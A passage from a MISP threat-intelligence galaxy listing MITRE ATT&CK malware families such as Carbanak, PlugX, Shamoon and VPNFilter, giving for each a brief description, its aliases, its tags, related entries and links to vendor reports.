Table 11004. Table References

Links
https://attack.mitre.org/software/S1204
https://blog.lumen.com/the-j-magic-show-magic-packets-and-where-to-find-them/
https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631

Lurid - S0010

[Lurid](https://attack.mitre.org/software/S0010) is a malware family that has been used by several groups, including [PittyTiger](https://attack.mitre.org/groups/G0011), in targeted attacks as far back as 2006. (Citation: Villeneuve 2014) (Citation: Villeneuve 2011)

The tag is: *misp-galaxy:mitre-malware="Lurid - S0010"*

Lurid - S0010 is also known as:

- Lurid
- Enfal

View relationships graph

Lurid - S0010 has relationships with:

- similar: misp-galaxy:malpedia="Enfal" with estimative-language:likelihood-probability="likely"

Table 11005. Table References

Links
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf
https://attack.mitre.org/software/S0010
https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html

Dipsind - S0200

[Dipsind](https://attack.mitre.org/software/S0200) is a malware family of backdoors that appear to be used exclusively by [PLATINUM](https://attack.mitre.org/groups/G0068). (Citation: Microsoft PLATINUM April 2016)

The tag is: *misp-galaxy:mitre-malware="Dipsind - S0200"*

Dipsind - S0200 is also known as:

- Dipsind

Table 11006. Table References

Links
https://attack.mitre.org/software/S0200
https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf

DressCode - S0300

[DressCode](https://attack.mitre.org/software/S0300) is an Android malware family. (Citation: TrendMicro-DressCode)

The tag is: *misp-galaxy:mitre-malware="DressCode - S0300"*

Table 11007. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/dresscode-potential-impact-enterprises/
https://attack.mitre.org/software/S0300

Carbanak - S0030

[Carbanak](https://attack.mitre.org/software/S0030) is a full-featured, remote backdoor used by a group of the same name ([Carbanak](https://attack.mitre.org/groups/G0008)). It is intended for espionage, data exfiltration, and providing remote access to infected machines. (Citation: Kaspersky Carbanak) (Citation: FireEye CARBANAK June 2017)

The tag is: *misp-galaxy:mitre-malware="Carbanak - S0030"*

Carbanak - S0030 is also known as:

- Carbanak
- Anunak

View relationships graph

Carbanak - S0030 has relationships with:

- similar: misp-galaxy:malpedia="Carbanak" with estimative-language:likelihood-probability="likely"

Table 11008. Table References

Links
https://attack.mitre.org/software/S0030
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf
https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html
https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/

RIPTIDE - S0003

[RIPTIDE](https://attack.mitre.org/software/S0003) is a proxy-aware backdoor used by [APT12](https://attack.mitre.org/groups/G0005). (Citation: Moran 2014)

The tag is: *misp-galaxy:mitre-malware="RIPTIDE - S0003"*

RIPTIDE - S0003 is also known as:

- RIPTIDE

View relationships graph

RIPTIDE - S0003 has relationships with:

- similar: misp-galaxy:tool="Etumbot" with estimative-language:likelihood-probability="likely"

Table 11009. Table References

Links
https://attack.mitre.org/software/S0003
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html

TinyZBot - S0004

[TinyZBot](https://attack.mitre.org/software/S0004) is a bot written in C# that was developed by [Cleaver](https://attack.mitre.org/groups/G0003). (Citation: Cylance Cleaver)

The tag is: *misp-galaxy:mitre-malware="TinyZBot - S0004"*

TinyZBot - S0004 is also known as:

- TinyZBot

View relationships graph

TinyZBot - S0004 has relationships with:

- similar: misp-galaxy:tool="TinyZBot" with estimative-language:likelihood-probability="likely"

Table 11010. Table References

Links
https://attack.mitre.org/software/S0004
https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

RobbinHood - S0400

[RobbinHood](https://attack.mitre.org/software/S0400) is ransomware that was first observed being used in an attack against the Baltimore city government's computer network.(Citation: CarbonBlack RobbinHood May 2019)(Citation: BaltimoreSun RobbinHood May 2019)

The tag is: *misp-galaxy:mitre-malware="RobbinHood - S0400"*

RobbinHood - S0400 is also known as:

- RobbinHood

Table 11011. Table References

Links
https://attack.mitre.org/software/S0400
https://www.baltimoresun.com/politics/bs-md-ci-it-outage-20190507-story.html
https://www.carbonblack.com/2019/05/17/cb-tau-threat-intelligence-notification-robbinhood-ransomware-stops-181-windows-services-before-encryption/

CosmicDuke - S0050

[CosmicDuke](https://attack.mitre.org/software/S0050) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. (Citation: F-Secure The Dukes)

The tag is: *misp-galaxy:mitre-malware="CosmicDuke - S0050"*

CosmicDuke - S0050 is also known as:

- CosmicDuke
- TinyBaron
- BotgenStudios
- NemesisGemina

Table 11012. Table References

Links
https://attack.mitre.org/software/S0050
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

Doki - S0600

[Doki](https://attack.mitre.org/software/S0600) is a backdoor that uses a unique Dogecoin-based Domain Generation Algorithm and was first observed in July 2020. [Doki](https://attack.mitre.org/software/S0600) was used in conjunction with the [ngrok](https://attack.mitre.org/software/S0508) Mining Botnet in a campaign that targeted Docker servers in cloud platforms. (Citation: Intezer Doki July 20)

The tag is: *misp-galaxy:mitre-malware="Doki - S0600"*

Doki - S0600 is also known as:

- Doki

Table 11013. Table References

Links
https://attack.mitre.org/software/S0600
https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/

HTTPBrowser - S0070

[HTTPBrowser](https://attack.mitre.org/software/S0070) is malware that has been used by several threat groups. (Citation: ThreatStream Evasion Analysis) (Citation: Dell TG-3390) It is believed to be of Chinese origin. (Citation: ThreatConnect Anthem)

The tag is: *misp-galaxy:mitre-malware="HTTPBrowser - S0070"*

HTTPBrowser - S0070 is also known as:

- HTTPBrowser

- Token Control
- HttpDump

View relationships graph

HTTPBrowser - S0070 has relationships with:

- similar: misp-galaxy:tool="HTTPBrowser" with estimative-language:likelihood-probability="likely"

Table 11014. Table References

Links
https://attack.mitre.org/software/S0070
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage
https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/
https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop

Mivast - S0080

[Mivast](https://attack.mitre.org/software/S0080) is a backdoor that has been used by [Deep Panda](https://attack.mitre.org/groups/G0009). It was reportedly used in the Anthem breach. (Citation: Symantec Black Vine)

The tag is: *misp-galaxy:mitre-malware="Mivast - S0080"*

Mivast - S0080 is also known as:

- Mivast

Table 11015. Table References

Links
http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2
https://attack.mitre.org/software/S0080
https://web.archive.org/web/20170823094836/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf

Hikit - S0009

[Hikit](https://attack.mitre.org/software/S0009) is malware that has been used by [Axiom](https://attack.mitre.org/groups/G0001) for late-stage persistence and exfiltration after the initial compromise.(Citation: Novetta-Axiom)(Citation: FireEye Hikit Rootkit)

The tag is: *misp-galaxy:mitre-malware="Hikit - S0009"*

Hikit - S0009 is also known as:

- Hikit

View relationships graph

Hikit - S0009 has relationships with:

- similar: misp-galaxy:tool="Hikit" with estimative-language:likelihood-probability="likely"

Table 11016. Table References

Links
https://attack.mitre.org/software/S0009
https://web.archive.org/web/20190216180458/https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html
https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf

Ngrok - S9000

The tag is: *misp-galaxy:mitre-malware="Ngrok - S9000"*

Ngrok - S9000 is also known as:

- Ngrok

Table 11017. Table References

Links
https://attack.mitre.org/software/S9000

Rover - S0090

[Rover](https://attack.mitre.org/software/S0090) is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan. (Citation: Palo Alto Rover)

The tag is: *misp-galaxy:mitre-malware="Rover - S0090"*

Rover - S0090 is also known as:

- Rover

View relationships graph

Rover - S0090 has relationships with:

- similar: misp-galaxy:malpedia="Rover" with estimative-language:likelihood-probability="likely"

Table 11018. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/
https://attack.mitre.org/software/S0090

VPNFilter - S1010

[VPNFilter](https://attack.mitre.org/software/S1010) is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. [VPNFilter](https://attack.mitre.org/software/S1010) modules such as its packet sniffer ('ps') can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols. (Citation: William Largent June 2018) (Citation: Carl Hurd March 2019) [VPNFilter](https://attack.mitre.org/software/S1010) was assessed to be replaced by [Sandworm Team](https://attack.mitre.org/groups/G0034) with [Cyclops Blink](https://attack.mitre.org/software/S0687) starting in 2019.(Citation: NCSC CISA Cyclops Blink Advisory February 2022)

The tag is: *misp-galaxy:mitre-malware="VPNFilter - S1010"*

VPNFilter - S1010 is also known as:

- VPNFilter

Table 11019. Table References

Links
https://attack.mitre.org/software/S1010
https://blog.talosintelligence.com/2018/06/vpnfilter-update.html
https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter
https://www.youtube.com/watch?v=yuZazP22rpI

Ninja - S1100

[Ninja](https://attack.mitre.org/software/S1100) is a malware developed in C++ that has been used by [ToddyCat](https://attack.mitre.org/groups/G1022) to penetrate networks and control remote systems since at least 2020. [Ninja](https://attack.mitre.org/software/S1100) is possibly part of a post exploitation toolkit exclusively used by [ToddyCat](https://attack.mitre.org/groups/G1022) and allows multiple operators to work simultaneously on the same machine. [Ninja](https://attack.mitre.org/software/S1100) has been used against government and military entities in Europe and Asia and observed in specific infection chains being deployed by [Samurai](https://attack.mitre.org/software/S1099).(Citation: Kaspersky ToddyCat June 2022)

The tag is: *misp-galaxy:mitre-malware="Ninja - S1100"*

Ninja - S1100 is also known as:

- Ninja

Table 11020. Table References

Links
https://attack.mitre.org/software/S1100
https://securelist.com/toddycat/106799/

Taidoor - S0011

[Taidoor](https://attack.mitre.org/software/S0011) is a remote access trojan (RAT) that has been used by Chinese government cyber actors to maintain access on victim networks.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021) [Taidoor](https://attack.mitre.org/software/S0011) has primarily been used against Taiwanese government organizations since at least 2010.(Citation: TrendMicro Taidoor)

The tag is: *misp-galaxy:mitre-malware="Taidoor - S0011"*

Taidoor - S0011 is also known as:

- Taidoor

View relationships graph

Taidoor - S0011 has relationships with:

- similar: misp-galaxy:tool="Taidoor" with estimative-language:likelihood-probability="likely"

Table 11021. Table References

Links
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf
https://attack.mitre.org/software/S0011
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a

WEBC2 - S0109

[WEBC2](https://attack.mitre.org/software/S0109) is a family of backdoor malware used by [APT1](https://attack.mitre.org/groups/G0006) as early as July 2006. [WEBC2](https://attack.mitre.org/software/S0109) backdoors are designed to retrieve a webpage, with commands hidden in HTML comments or special tags, from a predetermined C2 server. (Citation: Mandiant APT1 Appendix)(Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-malware="WEBC2 - S0109"*

WEBC2 - S0109 is also known as:

- WEBC2

View relationships graph

WEBC2 - S0109 has relationships with:

- similar: misp-galaxy:tool="WEBC2" with estimative-language:likelihood-probability="likely"

Table 11022. Table References

Links
https://attack.mitre.org/software/S0109
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf

StealBit - S1200

[StealBit](https://attack.mitre.org/software/S1200) is a data exfiltration tool that is developed and maintained by the operators of the the LockBit Ransomware-as-a-Service (RaaS) and offered to affiliates to exfiltrate data from compromised systems for double extortion purposes.(Citation: Cybereason StealBit Exfiltration Tool)(Citation: FBI Lockbit 2.0 FEB 2022)

The tag is: *misp-galaxy:mitre-malware="StealBit - S1200"*

StealBit - S1200 is also known as:

- StealBit

Table 11023. Table References

Links
https://attack.mitre.org/software/S1200
https://www.cybereason.com/blog/research/threat-analysis-report-inside-the-lockbit-arsenal-the-stealbit-exfiltration-tool
https://www.ic3.gov/CSA/2022/220204.pdf

Derusbi - S0021

[Derusbi](https://attack.mitre.org/software/S0021) is malware used by multiple Chinese APT groups.(Citation: Novetta-Axiom)(Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed.(Citation: Fidelis Turbo)

The tag is: *misp-galaxy:mitre-malware="Derusbi - S0021"*

Derusbi - S0021 is also known as:

- Derusbi
- PHOTO

View relationships graph

Derusbi - S0021 has relationships with:

- similar: misp-galaxy:malpedia="Derusbi (Windows)" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Derusbi" with estimative-language:likelihood-probability="likely"

Table 11024. Table References

Links
https://attack.mitre.org/software/S0021
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf
https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html
https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/

JPIN - S0201

[JPIN](https://attack.mitre.org/software/S0201) is a custom-built backdoor family used by [PLATINUM](https://attack.mitre.org/groups/G0068). Evidence suggests developers of [JPIN](https://attack.mitre.org/software/S0201) and [Dipsind](https://attack.mitre.org/software/S0200) code bases were related in some way. (Citation: Microsoft PLATINUM April 2016)

The tag is: *misp-galaxy:mitre-malware="JPIN - S0201"*

JPIN - S0201 is also known as:

- JPIN

Table 11025. Table References

Links
https://attack.mitre.org/software/S0201
https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf

PoisonIvy - S0012

[PoisonIvy](https://attack.mitre.org/software/S0012) is a popular remote access tool (RAT) that has been used by many groups.(Citation: FireEye Poison Ivy)(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Darkmoon Aug 2005)

The tag is: *misp-galaxy:mitre-malware="PoisonIvy - S0012"*

PoisonIvy - S0012 is also known as:

- PoisonIvy
- Breut
- Poison Ivy
- Darkmoon

View relationships graph

PoisonIvy - S0012 has relationships with:

- similar: misp-galaxy:tool="Poison Ivy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:rat="PoisonIvy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Poison Ivy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="poisonivy" with estimative-language:likelihood-probability="likely"

Table 11026. Table References

Links
https://attack.mitre.org/software/S0012
https://web.archive.org/web/20190717233006/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf
https://www.mandiant.com/sites/default/files/2021-09/rpt-poison-ivy.pdf
https://www.symantec.com/connect/blogs/life-mars-how-attackers-took-advantage-hope-alien-existance-new-darkmoon-campaign
https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99

Kevin - S1020

[Kevin](https://attack.mitre.org/software/S1020) is a backdoor implant written in C++ that has been used by [HEXANE](https://attack.mitre.org/groups/G1001) since at least June 2020, including in operations against organizations in Tunisia.(Citation: Kaspersky Lyceum October 2021)

The tag is: *misp-galaxy:mitre-malware="Kevin - S1020"*

Kevin - S1020 is also known as:

- Kevin

Table 11027. Table References

Links
https://attack.mitre.org/software/S1020
https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf

Nerex - S0210

[Nerex](https://attack.mitre.org/software/S0210) is a Trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Nerex May 2012)

The tag is: *misp-galaxy:mitre-malware="Nerex - S0210"*

Nerex - S0210 is also known as:

- Nerex

Table 11028. Table References

Links
https://attack.mitre.org/software/S0210
https://web.archive.org/web/20190717233006/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3445-99

BACKSPACE - S0031

[BACKSPACE](https://attack.mitre.org/software/S0031) is a backdoor used by [APT30](https://attack.mitre.org/groups/G0013) that dates back to at least 2005. (Citation: FireEye APT30)

The tag is: *misp-galaxy:mitre-malware="BACKSPACE - S0031"*

BACKSPACE - S0031 is also known as:

- BACKSPACE
- Lecna

View relationships graph

BACKSPACE - S0031 has relationships with:

- similar: misp-galaxy:tool="Backspace" with estimative-language:likelihood-probability="likely"

Table 11029. Table References

Links
https://attack.mitre.org/software/S0031

https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/05/20081935/rpt-apt30.pdf

Dendroid - S0301

[Dendroid](https://attack.mitre.org/software/S0301) is an Android remote access tool (RAT) primarily targeting Western countries. The RAT was available for purchase for $300 and came bundled with a utility to inject the RAT into legitimate applications.(Citation: Lookout-Dendroid)

The tag is: *misp-galaxy:mitre-malware="Dendroid - S0301"*

Dendroid - S0301 is also known as:

- Dendroid

View relationships graph

Dendroid - S0301 has relationships with:

- similar: misp-galaxy:rat="Dendroid" with estimative-language:likelihood-probability="likely"

Table 11030. Table References

Links
https://attack.mitre.org/software/S0301
https://blog.lookout.com/blog/2014/03/06/dendroid/

PlugX - S0013

[PlugX](https://attack.mitre.org/software/S0013) is a remote access tool (RAT) with modular plugins that has been used by multiple threat groups.(Citation: Lastline PlugX Analysis)(Citation: FireEye Clandestine Fox Part 2)(Citation: New DragonOK)(Citation: Dell TG-3390)

The tag is: *misp-galaxy:mitre-malware="PlugX - S0013"*

PlugX - S0013 is also known as:

- PlugX
- Thoper
- TVT
- DestroyRAT
- Sogu
- Kaba
- Korplug

View relationships graph

PlugX - S0013 has relationships with:

- similar: misp-galaxy:malpedia="PlugX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:rat="PlugX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="PlugX" with estimative-language:likelihood-probability="likely"

Table 11031. Table References

Links
http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf
http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/
https://attack.mitre.org/software/S0013
https://lastline3.rssing.com/chan-29044929/all_p1.html#c29044929a2
https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf
https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage

Squirrelwaffle - S1030

[Squirrelwaffle](https://attack.mitre.org/software/S1030) is a loader that was first seen in September 2021. It has been used in spam email campaigns to deliver additional malware such as [Cobalt Strike](https://attack.mitre.org/software/S0154) and the [QakBot](https://attack.mitre.org/software/S0650) banking trojan.(Citation: ZScaler Squirrelwaffle Sep 2021)(Citation: Netskope Squirrelwaffle Oct 2021)

The tag is: *misp-galaxy:mitre-malware="Squirrelwaffle - S1030"*

Squirrelwaffle - S1030 is also known as:

- Squirrelwaffle

Table 11032. Table References

Links
https://attack.mitre.org/software/S1030
https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot
https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike

Fysbis - S0410

[Fysbis](https://attack.mitre.org/software/S0410) is a Linux-based backdoor used by [APT28](https://attack.mitre.org/groups/G0007) that dates back to at least 2014.(Citation: Fysbis Palo Alto Analysis)

The tag is: *misp-galaxy:mitre-malware="Fysbis - S0410"*

Fysbis - S0410 is also known as:

- Fysbis

Table 11033. Table References

Links
https://attack.mitre.org/software/S0410
https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/

Shamoon - S0140

[Shamoon](https://attack.mitre.org/software/S0140) is wiper malware that was first used by an Iranian group known as the "Cutting Sword of Justice" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. [Shamoon](https://attack.mitre.org/software/S0140) has also been seen leveraging [RawDisk](https://attack.mitre.org/software/S0364) and Filerase to carry out data wiping tasks. Analysis has linked [Shamoon](https://attack.mitre.org/software/S0140) with [Kwampirs](https://attack.mitre.org/software/S0236) based on multiple shared artifacts and coding patterns.(Citation: Cylera Kwampirs 2022) The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)

The tag is: *misp-galaxy:mitre-malware="Shamoon - S0140"*

Shamoon - S0140 is also known as:

- Shamoon
- Disttrack

View relationships graph

Shamoon - S0140 has relationships with:

- similar: misp-galaxy:tool="Shamoon" with estimative-language:likelihood-probability="likely"

Table 11034. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
https://attack.mitre.org/software/S0140

https://resources.cylera.com/hubfs/Cylera%20Labs/Cylera%20Labs%20Kwampirs%20Shamoon%20Technical%20Report.pdf
https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/
https://web.archive.org/web/20210126065851/https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html
https://www.symantec.com/connect/blogs/shamoon-attacks

Wiper - S0041

[Wiper](https://attack.mitre.org/software/S0041) is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies. (Citation: Dell Wiper)

The tag is: *misp-galaxy:mitre-malware="Wiper - S0041"*

Table 11035. Table References

Links
http://www.secureworks.com/cyber-threat-intelligence/threats/wiper-malware-analysis-attacking-korean-financial-sector/
https://attack.mitre.org/software/S0041

MiniDuke - S0051

[MiniDuke](https://attack.mitre.org/software/S0051) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. The [MiniDuke](https://attack.mitre.org/software/S0051) toolset consists of multiple downloader and backdoor components. The loader has been used with other [MiniDuke](https://attack.mitre.org/software/S0051) components as well as in conjunction with [CosmicDuke](https://attack.mitre.org/software/S0050) and [PinchDuke](https://attack.mitre.org/software/S0048). (Citation: F-Secure The Dukes)

The tag is: *misp-galaxy:mitre-malware="MiniDuke - S0051"*

MiniDuke - S0051 is also known as:

- MiniDuke

Table 11036. Table References

Links
https://attack.mitre.org/software/S0051
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

POSHSPY - S0150

[POSHSPY](https://attack.mitre.org/software/S0150) is a backdoor that has been used by

[APT29](https://attack.mitre.org/groups/G0016) since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors. (Citation: FireEye POSHSPY April 2017)

The tag is: *misp-galaxy:mitre-malware="POSHSPY - S0150"*

POSHSPY - S0150 is also known as:

- POSHSPY

View relationships graph

POSHSPY - S0150 has relationships with:

- similar: misp-galaxy:malpedia="POSHSPY" with estimative-language:likelihood-probability="likely"

Table 11037. Table References

Links
https://attack.mitre.org/software/S0150
https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html

Ixeshe - S0015

[Ixeshe](https://attack.mitre.org/software/S0015) is a malware family that has been used since at least 2009 against targets in East Asia. (Citation: Moran 2013)

The tag is: *misp-galaxy:mitre-malware="Ixeshe - S0015"*

Ixeshe - S0015 is also known as:

- Ixeshe

Table 11038. Table References

Links
https://attack.mitre.org/software/S0015
https://web.archive.org/web/20191224162418/https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html

PipeMon - S0501

[PipeMon](https://attack.mitre.org/software/S0501) is a multi-stage modular backdoor used by [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: ESET PipeMon May 2020)

The tag is: *misp-galaxy:mitre-malware="PipeMon - S0501"*

PipeMon - S0501 is also known as:

- PipeMon

Table 11039. Table References

Links
https://attack.mitre.org/software/S0501
https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/

HDoor - S0061

[HDoor](https://attack.mitre.org/software/S0061) is malware that has been customized and used by the [Naikon](https://attack.mitre.org/groups/G0019) group. (Citation: Baumgartner Naikon 2015)

The tag is: *misp-galaxy:mitre-malware="HDoor - S0061"*

HDoor - S0061 is also known as:

- HDoor
- Custom HDoor

Table 11040. Table References

Links
https://attack.mitre.org/software/S0061
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf

Hildegard - S0601

[Hildegard](https://attack.mitre.org/software/S0601) is malware that targets misconfigured kubelets for initial access and runs cryptocurrency miner operations. The malware was first observed in January 2021. The TeamTNT activity group is believed to be behind [Hildegard](https://attack.mitre.org/software/S0601). (Citation: Unit 42 Hildegard Malware)

The tag is: *misp-galaxy:mitre-malware="Hildegard - S0601"*

Hildegard - S0601 is also known as:

- Hildegard

Table 11041. Table References

Links
https://attack.mitre.org/software/S0601
https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/

Mafalda - S1060

[Mafalda](https://attack.mitre.org/software/S1060) is a flexible interactive implant that has been used by [Metador](https://attack.mitre.org/groups/G1013). Security researchers assess the [Mafalda](https://attack.mitre.org/software/S1060) name may be inspired by an Argentinian cartoon character that has been popular as a means of political commentary since the 1960s. (Citation: SentinelLabs Metador Sept 2022)

The tag is: *misp-galaxy:mitre-malware="Mafalda - S1060"*

Mafalda - S1060 is also known as:

- Mafalda

Table 11042. Table References

Links
https://assets.sentinelone.com/sentinellabs22/metador#page=1
https://attack.mitre.org/software/S1060

SideTwist - S0610

[SideTwist](https://attack.mitre.org/software/S0610) is a C-based backdoor that has been used by [OilRig](https://attack.mitre.org/groups/G0049) since at least 2021.(Citation: Check Point APT34 April 2021)

The tag is: *misp-galaxy:mitre-malware="SideTwist - S0610"*

SideTwist - S0610 is also known as:

- SideTwist

Table 11043. Table References

Links
https://attack.mitre.org/software/S0610
https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/

BISCUIT - S0017

[BISCUIT](https://attack.mitre.org/software/S0017) is a backdoor that has been used by [APT1](https://attack.mitre.org/groups/G0006) since as early as 2007. (Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-malware="BISCUIT - S0017"*

BISCUIT - S0017 is also known as:

- BISCUIT

View relationships graph

BISCUIT - S0017 has relationships with:

- similar: misp-galaxy:tool="BISCUIT" with estimative-language:likelihood-probability="likely"

Table 11044. Table References

Links
https://attack.mitre.org/software/S0017
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf

Helminth - S0170

[Helminth](https://attack.mitre.org/software/S0170) is a backdoor that has at least two variants - one written in VBScript and PowerShell that is delivered via a macros in Excel spreadsheets, and one that is a standalone Windows executable. (Citation: Palo Alto OilRig May 2016)

The tag is: *misp-galaxy:mitre-malware="Helminth - S0170"*

Helminth - S0170 is also known as:

- Helminth

View relationships graph

Helminth - S0170 has relationships with:

- similar: misp-galaxy:malpedia="Helminth" with estimative-language:likelihood-probability="likely"

Table 11045. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/
https://attack.mitre.org/software/S0170

hcdLoader - S0071

[hcdLoader](https://attack.mitre.org/software/S0071) is a remote access tool (RAT) that has been used by [APT18](https://attack.mitre.org/groups/G0026). (Citation: Dell Lateral Movement)

The tag is: *misp-galaxy:mitre-malware="hcdLoader - S0071"*

hcdLoader - S0071 is also known as:

- hcdLoader

View relationships graph

hcdLoader - S0071 has relationships with:

- similar: misp-galaxy:rat="hcdLoader" with estimative-language:likelihood-probability="likely"

Table 11046. Table References

Links
http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/
https://attack.mitre.org/software/S0071

Elise - S0081

[Elise](https://attack.mitre.org/software/S0081) is a custom backdoor Trojan that appears to be used exclusively by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It is part of a larger group of tools referred to as LStudio, ST Group, and APT0LSTU.(Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)

The tag is: *misp-galaxy:mitre-malware="Elise - S0081"*

Elise - S0081 is also known as:

- Elise
- BKDR_ESILE
- Page

View relationships graph

Elise - S0081 has relationships with:

- similar: misp-galaxy:malpedia="Elise" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Elise Backdoor" with estimative-language:likelihood-probability="likely"

Table 11047. Table References

Links
https://attack.mitre.org/software/S0081
https://web.archive.org/web/20190508165226/https://www.accenture.com/t20180127T003755Z_w/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf
https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html

Fakecalls - S1080

